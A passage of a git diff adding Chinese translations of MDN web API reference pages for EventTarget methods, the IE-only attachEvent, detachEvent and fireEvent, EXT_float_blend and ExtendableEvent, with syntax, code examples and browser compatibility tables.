+      Window.prototype.addEventListener=addEventListener;
+      Window.prototype.removeEventListener=removeEventListener;
+    }
+  }
+})();
+ +

注册 listener 的旧方法

+ +

addEventListener() 在DOM 2 Events 规范中引入。在这之前,事件监听器应该用以下的方法注册:

+ +
// Pass a function reference — do not add '()' after it, which would call the function!
+el.onclick = modifyText;
+
+// Using a function expression
+element.onclick = function() {
+    // ... function logic ...
+};
+
+ +

这个方法会替换这个元素上所有已存在的 onclick 事件。对于其他事件是类似的,比如 blur (onblur)、 keypress (onkeypress)等等。

+ +

由于这是 DOM 0 规范的基本内容,几乎所有浏览器都支持这个,而且不需要特殊的跨浏览器兼容代码。因此通常这个方法被用于动态地注册事件处理器,除非必须使用 addEventListener() 才能提供的特殊特性。

+ +

内存问题

+ +
var i;
+var els = document.getElementsByTagName('*');
+
+// Case 1
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", function(e){/*do something*/}, false});
+}
+
+// Case 2
+function processEvent(e){
+  /*do something*/
+}
+
+for(i=0 ; i<els.length ; i++){
+  els[i].addEventListener("click", processEvent, false});
+}
+
+ +

在第一种情况下,每个循环中都会创建一个新的(匿名)函数。在第二种情况下,会使用先前声明的相同的函数作为事件处理器。这样的结果是占用的存储空间更小。而且,在第一种情况中,由于没有保持到匿名函数的引用,它不可能被调用 element.removeEventListener,这是因为我们没有一个可参考的处理器,而在第二种情况,它可以被 myElement.removeEventListener("click", processEvent, false)

+ +

但是,真正影响内存的并不是没有保持函数引用,而是没有保持 静态 函数引用。在下面的两个示例中,每一个循环都重新定义了一个函数,并且保持了函数引用,但是并不是动态的函数引用。第三个示例中,在每次循环中都重新赋值了一个匿名函数的引用。第四个示例,函数定义始终没有改变,但是依然是非静态的,因为每次都重新定义了函数(除非被编译器变量[[提升]])。尽管表现上看起来很好理解([[重复添加相同的事件监听]]),但是每次循环都是将事件处理函数指向了一个唯一的新创建的函数的引用。同时,因为函数定义本身没有改变,每次触发事件监听器时调用的还是同一个方法(特别是在经过优化的代码中)。

+ +

在这两个示例中,每次循环都会重复定义函数并保持函数引用,所以上面的移除语句也可以移除对应的监听器,但是只能移除最后一个。

+ +
// For illustration only: Note "MISTAKE" of [j] for [i] thus causing desired events to all attach to SAME element
+
+// Case 3
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  els[j].addEventListener("click", processEvent = function(e){/*do something*/}, false);
+}
+
+// Case 4
+for(var i=0, j=0 ; i<els.length ; i++){
+  /*do lots of stuff with j*/
+  function processEvent(e){/*do something*/};
+  els[j].addEventListener("click", processEvent, false); 
+
+ +

使用 passive 改善的滚屏性能

+ +

根据规范,passive 选项的默认值始终为false。但是,这引入了处理某些触摸事件(以及其他)的事件监听器在尝试处理滚动时阻止浏览器的主线程的可能性,从而导致滚动处理期间性能可能大大降低。

+ +

为防止出现此问题,某些浏览器(特别是Chrome和Firefox)已将文档级节点 {{domxref("Window")}},{{domxref("Document")}}和{{domxref("Document.body")}}的{{event("touchstart")}}和{{event("touchmove")}}事件的passive选项的默认值更改为true。这可以防止调用事件监听器,因此在用户滚动时无法阻止页面呈现。

+ +
var elem = document.getElementById('elem');
+elem.addEventListener('touchmove', function listener() { /* do something */ }, { passive: true });
+
+ +

添加passive参数后,touchmove事件不会阻塞页面的滚动(同样适用于鼠标的滚轮事件)。在这里查看demo(需要翻墙)。

+ +
+

注意:那些不支持参数options的浏览器,会把第三个参数默认为useCapture,即设置useCapture为true

+
+ +

您可以通过将passive的值显式设置为false来覆盖此行为,如下所示:

+ +
/* Feature detection */
+/*特诊检测*/
+var passiveIfSupported = false;
+
+try {
+  window.addEventListener("test", null, Object.defineProperty({}, "passive", { get: function() { passiveIfSupported = { passive: true }; } }));
+} catch(err) {}
+
+window.addEventListener('scroll', function(event) {
+  /* do something */
+  // can't use event.preventDefault();
+  // 不能使用event.prevebt.
+}, passiveIfSupported );
+ +

在不支持addEventListener()options参数的旧浏览器上,尝试使用它会阻止使用useCapture参数而不正确使用特征检测。

+ +

您无需担心基本{{event("scroll")}} 事件的passive值。由于无法取消,因此事件监听器无法阻止页面呈现。

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-eventtarget-addeventlistener", "EventTarget.addEventListener()")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-EventTarget-addEventListener", "EventTarget.addEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

浏览器兼容性

+ + + +
+

{{Compat("api.EventTarget.addEventListener", 3)}}

+
+ +

相关链接

+ + + +
+
+
+ +
+
+
+ +
+ + +
+
diff --git a/files/zh-cn/web/api/eventtarget/attachevent/index.html b/files/zh-cn/web/api/eventtarget/attachevent/index.html new file mode 100644 index 0000000000..3ddf224034 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/attachevent/index.html @@ -0,0 +1,96 @@ +--- +title: 为这个EventTarget附加事件. +slug: Web/API/EventTarget/attachEvent +translation_of: Web/API/EventTarget/addEventListener +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

摘要

+ +

这是早期IE浏览器(IE8及早期版本)的一个专有的替代性标准,替代EventTarget.addEventListener()方法,{{domxref("EventTarget.addEventListener()")}} 方法

+ +

语法

+ +
attached = target.attachEvent(eventNameWithOn, callback)
+
+
+ +
+
 作用的元素(target)
+
一个用于监听事件的文档对象模型元素
+
事件名伴随On(eventNameWithOn)
+
监听的事件名以on前置,类似一个属性的管理者,譬如当你使用onclick时能够监听你的click事件
+
回调函数
+
当目标触发事件时回调函数被调用。这个函数被调用时不带参数,并且这些都将设置在window object.这个对象中
+
附加
+
    是否成功附加上属性会以布尔值表示
+
+ +

规范

+ +

不存在于任何标准规范中

+ +

微软在MSDN有详细描述 has a description on MSDN.

+ +

浏览器是否合适

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 thru 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: attachEvent() 不再被IE11支持。

+ +

{{domxref("EventTarget.addEventListener()")}}被IE9+支持.

+ +

See also

+ + diff --git a/files/zh-cn/web/api/eventtarget/detachevent/index.html b/files/zh-cn/web/api/eventtarget/detachevent/index.html new file mode 100644 index 0000000000..c9ed7b6199 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/detachevent/index.html @@ -0,0 +1,96 @@ +--- +title: EventTarget.detachEvent() +slug: Web/API/EventTarget/detachEvent +tags: + - API + - DOM + - Method + - Non-standard +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

简介

+ +

这是Microsoft Internet Explorer专有的用于替代标准的 {{domxref("EventTarget.removeEventListener()")}} 的方法。

+ +

语法

+ +
target.detachEvent(eventNameWithOn, callback)
+
+ +
+
target
+
将要移除事件的DOM节点
+
eventNameWithOn
+
将要移除的事件名,以“on”为前缀(例如它是一个事件处理程序)。 例如,您可以使用“onclick”移除点击事件的事件处理程序。
+
callback
+
注销事件后的回调函数
+
+ +

详细

+ +

任何规范没有此部分。

+ +

微软在 MSDN 上有相关描述。

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
特征ChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 至 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
特征AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: detachEvent() 在 IE11+ 中不再支持。 {{domxref("EventTarget.removeEventListener()")}} 在 IE9+ 中支持。

+ +

See also

+ + diff --git a/files/zh-cn/web/api/eventtarget/dispatchevent/index.html b/files/zh-cn/web/api/eventtarget/dispatchevent/index.html new file mode 100644 index 0000000000..3371377a73 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/dispatchevent/index.html @@ -0,0 +1,73 @@ +--- +title: EventTarget.dispatchEvent +slug: Web/API/EventTarget/dispatchEvent +tags: + - API + - DOM + - events +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{APIRef("DOM Events")}}

+ +

向一个指定的事件目标派发一个事件,  并以合适的顺序同步调用目标元素相关的事件处理函数。标准事件处理规则(包括事件捕获和可选的冒泡过程)同样适用于通过手动的使用dispatchEvent()方法派发的事件。

+ +

语法

+ +
cancelled = !target.dispatchEvent(event)
+
+ +

参数

+ + + +

返回值

+ + + +

如果该被派发的事件的事件类型(event's type)在方法调用之前没有被经过初始化被指定,就会抛出一个 UNSPECIFIED_EVENT_TYPE_ERR 异常,或者如果事件类型是null或一个空字符串. event handler 就会抛出未捕获的异常; 这些 event handlers 运行在一个嵌套的调用栈中: 他们会阻塞调用直到他们处理完毕,但是异常不会冒泡。

+ +

注意

+ +

与浏览器原生事件不同,原生事件是由DOM派发的,并通过event loop异步调用事件处理程序,而dispatchEvent()则是同步调用事件处理程序。在调用dispatchEvent()后,所有监听该事件的事件处理程序将在代码继续前执行并返回。

+ +

dispatchEvent()是create-init-dispatch过程的最后一步,用于将事件调度到实现的事件模型中。可以使用Event构造函数来创建事件。

+ +

另请参阅 Event object reference.

+ +

例子

+ +

参考 Creating and triggering events.

+ +

规范

+ + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-eventtarget-dispatchevent', 'EventTarget.dispatchEvent()')}}{{ Spec2('DOM WHATWG') }}Initial definition in the DOM 2 Events specification.
+ +

Browser compatibility

+ + + +

{{Compat("api.EventTarget.dispatchEvent")}}

diff --git a/files/zh-cn/web/api/eventtarget/eventtarget/index.html b/files/zh-cn/web/api/eventtarget/eventtarget/index.html new file mode 100644 index 0000000000..89ff7132d7 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/eventtarget/index.html @@ -0,0 +1,74 @@ +--- +title: EventTarget() +slug: Web/API/EventTarget/EventTarget +translation_of: Web/API/EventTarget/EventTarget +--- +
+

{{APIRef("DOM Events")}}

+ +

EventTarget() 构造方法将会创建一个新的{{domxref("EventTarget")}} 对象实例。

+ +

语法

+ +
var myEventTarget = new EventTarget();
+ +

参数

+ +

无。

+ +

返回值

+ +

一个 {{domxref("EventTarget")}} 实例。

+ +

例子

+ +
class MyEventTarget extends EventTarget {
+  constructor(mySecret) {
+    super();
+    this._secret = mySecret;
+  }
+
+  get secret() { return this._secret; }
+};
+
+let myEventTarget = new MyEventTarget(5);
+let value = myEventTarget.secret;  // == 5
+myEventTarget.addEventListener("foo", function(e) {
+  this._secret = e.detail;
+});
+
+let event = new CustomEvent("foo", { detail: 7 });
+myEventTarget.dispatchEvent(event);
+let newValue = myEventTarget.secret; // == 7
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-eventtarget-eventtarget', 'EventTarget() constructor')}}{{Spec2('DOM WHATWG')}} 
+ +

浏览器兼容性

+ +

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.

+ +

{{Compat("api.EventTarget.EventTarget")}}

+ +

另见

+ + +
+ +

 

diff --git a/files/zh-cn/web/api/eventtarget/fireevent/index.html b/files/zh-cn/web/api/eventtarget/fireevent/index.html new file mode 100644 index 0000000000..b9c89fa883 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/fireevent/index.html @@ -0,0 +1,92 @@ +--- +title: EventTarget.fireEvent() +slug: Web/API/EventTarget/fireEvent +translation_of: Web/API/EventTarget/dispatchEvent +--- +

{{APIRef("DOM Events")}}

+ +

{{ Non-standard_header() }}

+ +

概述

+ +

这是微软IE浏览器用以替代{{domxref("EventTarget.dispatchEvent()")}}的私有方法,与{{domxref("EventTarget.dispatchEvent()")}}不同的是通过fireEvent() 触发的事件不会触发事件的默认行为,例如,通过fireEvent()触发<input type="checkbox">的点击事件并不会切换checkbox的选中状态

+ +

语法

+ +
cancelled = target.fireEvent(eventNameWithOn, event)
+
+ +
+
target
+
要触发事件的元素
+
eventNameWithOn
+
要触发事件的名字,前缀为“on”,例如,可以用过"onclick"来触发点击事件
+
event
+
要触发的事件对象
+
cancelled
+
布尔值,事件是否被事件句柄取消
+
+ +

规范

+ +

无此部分的规范

+ +

微软的描述: has a description on MSDN.

+ +

浏览器兼容性

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{ CompatNo() }}{{ CompatNo() }}6 到 10 [1]{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatNo() }}
+
+ +

[1]: fireEvent()在IE11+已经不再支持,{{domxref("EventTarget.dispatchEvent()")}}在IE9+已经支持

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventtarget/index.html b/files/zh-cn/web/api/eventtarget/index.html new file mode 100644 index 0000000000..3793a8b749 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/index.html @@ -0,0 +1,128 @@ +--- +title: EventTarget +slug: Web/API/EventTarget +tags: + - API + - DOM + - DOM Events + - Interface +translation_of: Web/API/EventTarget +--- +

{{ApiRef("DOM Events")}}

+ +

EventTarget 是一个 DOM 接口,由可以接收事件、并且可以创建侦听器的对象实现。

+ +

{{domxref("Element")}},{{domxref("document")}} 和 {{domxref("window")}} 是最常见的 event targets ,但是其他对象也可以作为 event targets,比如 {{domxref("XMLHttpRequest")}},{{domxref("AudioNode")}},{{domxref("AudioContext")}}  等等。

+ +

许多 event targets (包括 elements, documents 和 windows)支持通过 onevent 特性和属性设置事件处理程序 (event handlers)。

+ +

{{InheritanceDiagram}}

+ +

构造函数

+ +
+
{{domxref("EventTarget.EventTarget()","EventTarget()")}}
+
创建一个新的 EventTarget 对象实例。
+
+ +

方法

+ +
+
{{domxref("EventTarget.addEventListener()")}}
+
在EventTarget上注册特定事件类型的事件处理程序。
+
{{domxref("EventTarget.removeEventListener()")}}
+
EventTarget中删除事件侦听器。
+
{{domxref("EventTarget.dispatchEvent()")}}
+
将事件分派到此EventTarget。
+
+ +

Mozilla chrome 代码的其他方法

+ +

Mozilla扩展,供JS实现的事件目标使用以 实现 on* 属性。另见 WebIDL bindings 绑定。

+ + + +

示例

+ +

EventTarget 的简单实现

+ +
var EventTarget = function() {
+  this.listeners = {};
+};
+
+EventTarget.prototype.listeners = null;
+EventTarget.prototype.addEventListener = function(type, callback) {
+  if(!(type in this.listeners)) {
+    this.listeners[type] = [];
+  }
+  this.listeners[type].push(callback);
+};
+
+EventTarget.prototype.removeEventListener = function(type, callback) {
+  if(!(type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[type];
+  for(var i = 0, l = stack.length; i < l; i++) {
+    if(stack[i] === callback){
+      stack.splice(i, 1);
+      return this.removeEventListener(type, callback);
+    }
+  }
+};
+
+EventTarget.prototype.dispatchEvent = function(event) {
+  if(!(event.type in this.listeners)) {
+    return;
+  }
+  var stack = this.listeners[event.type];
+  event.target = this;
+  for(var i = 0, l = stack.length; i < l; i++) {
+      stack[i].call(this, event);
+  }
+};
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#interface-eventtarget', 'EventTarget')}}{{Spec2('DOM WHATWG')}}No change.
{{SpecName('DOM3 Events', 'DOM3-Events.html#interface-EventTarget', 'EventTarget')}}{{Spec2('DOM3 Events')}}A few parameters are now optional (listener), or accepts the null value (useCapture).
{{SpecName('DOM2 Events', 'events.html#Events-EventTarget', 'EventTarget')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.EventTarget")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/eventtarget/removeeventlistener/index.html b/files/zh-cn/web/api/eventtarget/removeeventlistener/index.html new file mode 100644 index 0000000000..1541167537 --- /dev/null +++ b/files/zh-cn/web/api/eventtarget/removeeventlistener/index.html @@ -0,0 +1,227 @@ +--- +title: EventTarget.removeEventListener +slug: Web/API/EventTarget/removeEventListener +tags: + - API + - DOM + - Gecko + - removeEventListener + - 事件 +translation_of: Web/API/EventTarget/removeEventListener +--- +

{{APIRef("DOM Events")}}

+ +

删除使用 {{domxref("EventTarget.addEventListener()")}} 方法添加的事件。使用事件类型,事件侦听器函数本身,以及可能影响匹配过程的各种可选择的选项的组合来标识要删除的事件侦听器。

+ +

语法

+ +
target.removeEventListener(type, listener[, options]);
+target.removeEventListener(type, listener[, useCapture]);
+ +

参数

+ +
+
type
+
一个字符串,表示需要移除的事件类型,如 "click"
+
listener
+
需要从目标事件移除的 {{ domxref("EventListener") }} 函数。
+
options {{optional_inline}}
+
一个指定事件侦听器特征的可选对象。可选项有:
+
+ + + +
+
useCapture {{ optional_inline }}
+
指定需要移除的 {{ domxref("EventListener") }} 函数是否为捕获监听器。如果无此参数,默认值为 false
+
如果同一个监听事件分别为“事件捕获”和“事件冒泡”注册了一次,这两次事件需要分别移除。两者不会互相干扰。移除捕获监听器不会影响非捕获版本的相同监听器,反之亦然。
+
+ +

返回值

+ +

undefined.

+ +

匹配要删除的事件监听

+ +

需要提供以前调用{{domxref("EventTarget.addEventListener", "addEventListener()")}}所提供的监听事件, 这样你或许可以达到移除此监听事件的目的. 很明显, 你需要提供相同的 type 和 listener 参数给 removeEventListener(), 但是 options 或者 useCapture 参数呢?

+ +

当使用 addEventListener() 时, 如果 options参数不同, 那么你可以在相同的type 上多次添加相同的监听, 唯一需要 removeEventListener() 检测的是 capture/useCapture 标志. 这个标志必须与 removeEventListener() 的对应标志匹配, 但是其他的值不需要.

+ +

举个例子, 思考一下下面的 addEventListener():

+ +
element.addEventListener("mousedown", handleMouseDown, true);
+ +

现在思考下下面两个 removeEventListener():

+ +
element.removeEventListener("mousedown", handleMouseDown, false);     // 失败
+element.removeEventListener("mousedown", handleMouseDown, true);      // 成功
+
+ +

第一个调用失败是因为 useCapture 没有匹配. 第二个调用成功,是因为useCapture 匹配相同.

+ +

现在再思考下这个:

+ +
element.addEventListener("mousedown", handleMouseDown, { passive: true });
+ +

这里, 我们在options 对象里将 passive 设成 true, 其他options配置都是默认值 false.

+ +

现在我们看下下面的 removeEventListener() . 当配置 capture 或 useCapture 为 true 时, 移除事件失败; 其他所有都是成功的. 只有 capture 配置影响 removeEventListener().

+ +
element.removeEventListener("mousedown", handleMouseDown, { passive: true });     // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, { capture: true });     // Fails
+element.removeEventListener("mousedown", handleMouseDown, { passive: false });    // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, false);                 // Succeeds
+element.removeEventListener("mousedown", handleMouseDown, true);                  // Fails
+ +

值得注意的是,一些浏览器版本在这方面会有些不一致, 除非你有特别的理由, 使用与调用 addEventListener() 时配置的参数去调用removeEventListener()是明智的.

+ +

备注

+ +

一个 {{ domxref("EventTarget") }} 上的 {{ domxref("EventListener") }} 被移除之后,如果此事件正在执行,会立即停止。 {{ domxref("EventListener") }} 移除之后不能被触发,但可以重新绑定。

+ +

EventTarget上使用任何未识别当前注册的{{ domxref("EventListener") }} 调用 removeEventListener() 不会起任何作用。

+ +

示例

+ +

以下例子展示了添加与删除监听事件:

+ +
var body = document.querySelector('body'),
+    clickTarget = document.getElementById('click-target'),
+    mouseOverTarget = document.getElementById('mouse-over-target'),
+    toggle = false;
+
+function makeBackgroundYellow() {
+    'use strict';
+
+    if (toggle) {
+        body.style.backgroundColor = 'white';
+    } else {
+        body.style.backgroundColor = 'yellow';
+    }
+
+    toggle = !toggle;
+}
+
+clickTarget.addEventListener('click',
+    makeBackgroundYellow,
+    false
+);
+
+mouseOverTarget.addEventListener('mouseover', function () {
+    'use strict';
+
+    clickTarget.removeEventListener('click',
+        makeBackgroundYellow,
+        false
+    );
+});
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM WHATWG")}}
{{SpecName("DOM4", "#dom-eventtarget-removeeventlistener", "EventTarget.removeEventListener()")}}{{Spec2("DOM4")}}
{{SpecName("DOM2 Events", "#Events-EventTarget-removeEventListener", "EventTarget.removeEventListener()")}}{{Spec2("DOM2 Events")}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.EventTarget.removeEventListener", 3)}}

+ +

Polyfill

+ +

一些比较旧的浏览器不支持 addEventListener()removeEventListener() 方法。可以将以下代码复制到脚本的开头来兼容这些旧版本的浏览器。值得注意的是,这个解决方案仍然不适用于 IE 7 及更早的 IE,因为 Element.prototype 属性直至 IE 8 才支持。

+ +
if (!Element.prototype.addEventListener) {
+  var oListeners = {};
+  function runListeners(oEvent) {
+    if (!oEvent) { oEvent = window.event; }
+    for (var iLstId = 0, iElId = 0, oEvtListeners = oListeners[oEvent.type]; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) {
+        for (iLstId; iLstId < oEvtListeners.aEvts[iElId].length; iLstId++) { oEvtListeners.aEvts[iElId][iLstId].call(this, oEvent); }
+        break;
+      }
+    }
+  }
+  Element.prototype.addEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (oListeners.hasOwnProperty(sEventType)) {
+      var oEvtListeners = oListeners[sEventType];
+      for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+        if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+      }
+      if (nElIdx === -1) {
+        oEvtListeners.aEls.push(this);
+        oEvtListeners.aEvts.push([fListener]);
+        this["on" + sEventType] = runListeners;
+      } else {
+        var aElListeners = oEvtListeners.aEvts[nElIdx];
+        if (this["on" + sEventType] !== runListeners) {
+          aElListeners.splice(0);
+          this["on" + sEventType] = runListeners;
+        }
+        for (var iLstId = 0; iLstId < aElListeners.length; iLstId++) {
+          if (aElListeners[iLstId] === fListener) { return; }
+        }
+        aElListeners.push(fListener);
+      }
+    } else {
+      oListeners[sEventType] = { aEls: [this], aEvts: [ [fListener] ] };
+      this["on" + sEventType] = runListeners;
+    }
+  };
+  Element.prototype.removeEventListener = function (sEventType, fListener /*, useCapture (will be ignored!) */) {
+    if (!oListeners.hasOwnProperty(sEventType)) { return; }
+    var oEvtListeners = oListeners[sEventType];
+    for (var nElIdx = -1, iElId = 0; iElId < oEvtListeners.aEls.length; iElId++) {
+      if (oEvtListeners.aEls[iElId] === this) { nElIdx = iElId; break; }
+    }
+    if (nElIdx === -1) { return; }
+    for (var iLstId = 0, aElListeners = oEvtListeners.aEvts[nElIdx]; iLstId < aElListeners.length; iLstId++) {
+      if (aElListeners[iLstId] === fListener) { aElListeners.splice(iLstId, 1); }
+    }
+  };
+}
+
+ +

相关链接

+ + + +

注意:

+ + + +

document.removeEventListener() 方法用于移除由 document.addEventListener() 方法添加的事件句柄。

+ +

注意: 如果要移除事件句柄,addEventListener() 的执行函数必须使用外部函数,如(myFunction)匿名函数,类似 "document.removeEventListener("event", function(){ myScript });" 该事件是无法移除的。

+ +

提示: 使用 element.addEventListener() 和 element.removeEventListener() 方法来添加或移除指定元素的事件句柄。

diff --git a/files/zh-cn/web/api/ext_float_blend/index.html b/files/zh-cn/web/api/ext_float_blend/index.html new file mode 100644 index 0000000000..7c3dd1b427 --- /dev/null +++ b/files/zh-cn/web/api/ext_float_blend/index.html @@ -0,0 +1,84 @@ +--- +title: EXT_float_blend +slug: Web/API/EXT_float_blend +tags: + - API + - WebGL + - 参考 + - 浮点 +translation_of: Web/API/EXT_float_blend +--- +
{{APIRef("WebGL")}}
+ +

WebGL APIEXT_float_blend 扩展允许使用 32 位浮点数组件来混合和绘制缓冲区。

+ +

若要查询该扩展是否存在,可以用方法:{{domxref("WebGLRenderingContext.getExtension()")}}。更多信息可以参考 WebGL tutorial 中的 Using Extensions

+ +
+

可用性:该扩展在 {{domxref("WebGLRenderingContext", "WebGL1")}} 和{{domxref("WebGL2RenderingContext", "WebGL2")}} 上下文中均存在。但是,要使用它,你需要启用对32位浮点绘制缓冲区的使用{{domxref("WEBGL_color_buffer_float")}}(for WebGL1)或 {{domxref("EXT_color_buffer_float")}}(WebGL2)。通过启用32位浮点缓冲区扩展,将自动启用EXT_float_blend

+
+ +

该组件启用后, 使用 32 位浮点数混合方式绘制,调用 {{domxref("WebGLRenderingContext.drawArrays", "drawArrays()")}} 或 {{domxref("WebGLRenderingContext.drawElements", "drawElements()")}} 时,将不再产生 INVALID_OPERATION 异常。

+ +

使用说明

+ +

在支持 EXT_float_blend 扩展的设备上, 当以下几种有一种或几种扩展启用时{{domxref("EXT_color_buffer_float")}}, {{domxref("OES_texture_float")}}, 或 {{domxref("WEBGL_color_buffer_float")}},该扩展将会自动、隐式的启用。 这确保了在该扩展定义之前的内容也都能够按照预期正确执行。

+ +

例子

+ +
const gl = canvas.getContext('webgl2');
+
+// enable necessary extensions
+gl.getExtension('EXT_color_buffer_float');
+gl.getExtension('EXT_float_blend');
+
+const tex = gl.createTexture();
+gl.bindTexture(gl.TEXTURE_2D, tex);
+
+// use floating point format
+gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGBA32F, 1, 1, 0, gl.RGBA, gl.FLOAT, null);
+
+const fb = gl.createFramebuffer();
+gl.bindFramebuffer(gl.FRAMEBUFFER, fb);
+gl.framebufferTexture2D(gl.FRAMEBUFFER, gl.COLOR_ATTACHMENT0, gl.TEXTURE_2D, tex, 0);
+
+// enable blending
+gl.enable(gl.BLEND);
+
+gl.drawArrays(gl.POINTS, 0, 1);
+// won't throw gl.INVALID_OPERATION with the extension enabled
+
+ +

规范

+ + + + + + + + + + + + +
规范状态
EXT_float_blendDraft
+ +

浏览器兼容性

+ + + +

{{Compat("api.EXT_float_blend")}}

+ +

其它参考

+ + diff --git a/files/zh-cn/web/api/extendableevent/index.html b/files/zh-cn/web/api/extendableevent/index.html new file mode 100644 index 0000000000..4f1adf6b7f --- /dev/null +++ b/files/zh-cn/web/api/extendableevent/index.html @@ -0,0 +1,197 @@ +--- +title: ExtendableEvent +slug: Web/API/ExtendableEvent +tags: + - API + - Experimental + - ExtendableEvent + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorker + - TopicStub + - Workers +translation_of: Web/API/ExtendableEvent +--- +
{{APIRef("Service Workers API")}}{{SeeCompatTable}}
+ +
作为 service worker 生命周期的一部分,ExtendableEvent接口延长了在全局范围上{{event("install")}}和{{event("activate")}}事件的生命周期。这样可以确保在升级数据库架构并删除过时的caches之前,不会调度任何函数事件(如{{domxref("FetchEvent")}})。
+ +
如果在ExtendableEvent处理程序之外调用{{domxref("ExtendableEvent.waitUntil","waitUntil()")}},浏览器应该抛出一个InvalidStateError;还要注意,多个调用将堆积起来,结果promises 将添加到extend lifetime promises.
+ +
 
+ +
+

提示: 上述段落中描述的行为在firefox 43中得到了修复(参见 {{bug(1180274)}} )。

+
+ +

此接口继承自{{domxref("Event")}}接口。

+ +

{{InheritanceDiagram(700, 60, 20)}}

+ +
+

提示: 只有当全局范围是 {{domxref("ServiceWorkerGlobalScope")}} 时,此接口才可用。当它是一个 {{domxref("Window")}} 或其他类型 worker 的作用域时,它不可用。

+
+ +

构造函数

+ +
+
{{domxref("ExtendableEvent.ExtendableEvent()", "ExtendableEvent()")}}
+
创建新的ExtendableEvent对象。
+
+ +

特性

+ +

不实现任何特定属性,但从其父级事件继承属,{{domxref("Event")}}

+ +

方法

+ +

从他的父辈继承, {{domxref("Event")}}.

+ +
+
{{domxref("ExtendableEvent.waitUntil", "ExtendableEvent.waitUntil()")}}
+
+

延长事件的生存期。它将在service worker 的 installactivate 事件中被调用。

+
+
+ +

实例

+ +

代码片段来自service worker prefetch sample (查看 prefetch example live.)。代码在{{domxref("ServiceWorkerGlobalScope.oninstall")}}中调用{{domxref("ExtendableEvent.waitUntil()")}},延迟将{{domxref("ServiceWorkerRegistration.installing")}} Worker视为已安装,直到传递的promise resolve(在所有资源都已被提取和缓存的情况,或者发生任何异常时的问题.)

+ +

代码段还显示了对service worker使用的缓存进行版本控制的最佳实践。虽然在这个例子中只有一个缓存,但是相同的方法可以用于多个缓存。它将缓存的速记标识符映射到特定的、版本化的缓存名称。

+ +
+

提示:在chrome中,日志记录语句通过chrome://service worker internals访问的相关服务工作者的“inspect”接口可见。

+
+ +
var CACHE_VERSION = 1;
+var CURRENT_CACHES = {
+  prefetch: 'prefetch-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('install', function(event) {
+  var urlsToPrefetch = [
+    './static/pre_fetched.txt',
+    './static/pre_fetched.html',
